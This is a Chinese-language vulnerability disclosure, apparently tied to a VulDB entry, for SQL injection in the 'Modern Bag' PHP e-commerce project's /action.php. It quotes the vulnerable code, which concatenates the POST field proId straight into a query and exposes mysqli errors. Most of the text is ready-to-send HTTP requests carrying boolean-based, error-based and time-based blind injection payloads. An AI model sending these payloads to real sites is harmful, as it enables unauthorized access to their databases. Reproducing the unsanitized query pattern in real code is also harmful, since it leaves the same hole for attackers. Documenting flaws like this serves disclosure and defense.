🌐 Language / 语言: English | 简体中文
漏洞库： https://vuldb.com/?id.316112
项目地址： https://code-projects.org/modern-bag-in-php-css-javascript-and-mysql-free-download/
| 项目 | 内容 |
|---|---|
| 产品名称 | Modern Bag 电商系统 |
| 版本 | V1.0 |
| 漏洞类型 | SQL 注入 (Boolean-based blind, Error-based, Time-based blind) |
| 受影响文件 | /action.php |
| 危险等级 | 中危 |
| CVSS 3.1 评分 | 6.9 |
主要漏洞点： action.php 第 272-289 行
// 漏洞点
if (isset($_POST["addToProduct"])) {
if (isset($_SESSION["uid"])) {
$p_id = $_POST["proId"]; // 直接获取用户输入
$user_id = $_SESSION["uid"];
// 直接拼接到 SQL 查询中，未进行任何过滤
$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
$run_query = mysqli_query($con, $sql);
$count = mysqli_num_rows($run_query);
// ... 后续代码
}
}
$p_id = $_POST["proId"];
$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
$run_query = mysqli_query($con, $sql)
or die(mysqli_error($con)); // ❌ 直接暴露数据库错误
POST /action.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
addToProduct=1&proId=1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr
攻击原理：
-- 构造的 SQL 查询
SELECT * FROM cart WHERE p_id = '1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr' AND user_id = '1'
-- 实际执行的查询
SELECT * FROM cart WHERE p_id = '1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr
POST /action.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
addToProduct=1&proId=1' OR (SELECT 7784 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(7784=7784,1))),0x717a6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yVDw
POST /action.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
addToProduct=1&proId=1' AND (SELECT 9674 FROM (SELECT(SLEEP(5)))YLuC)-- ZZFJ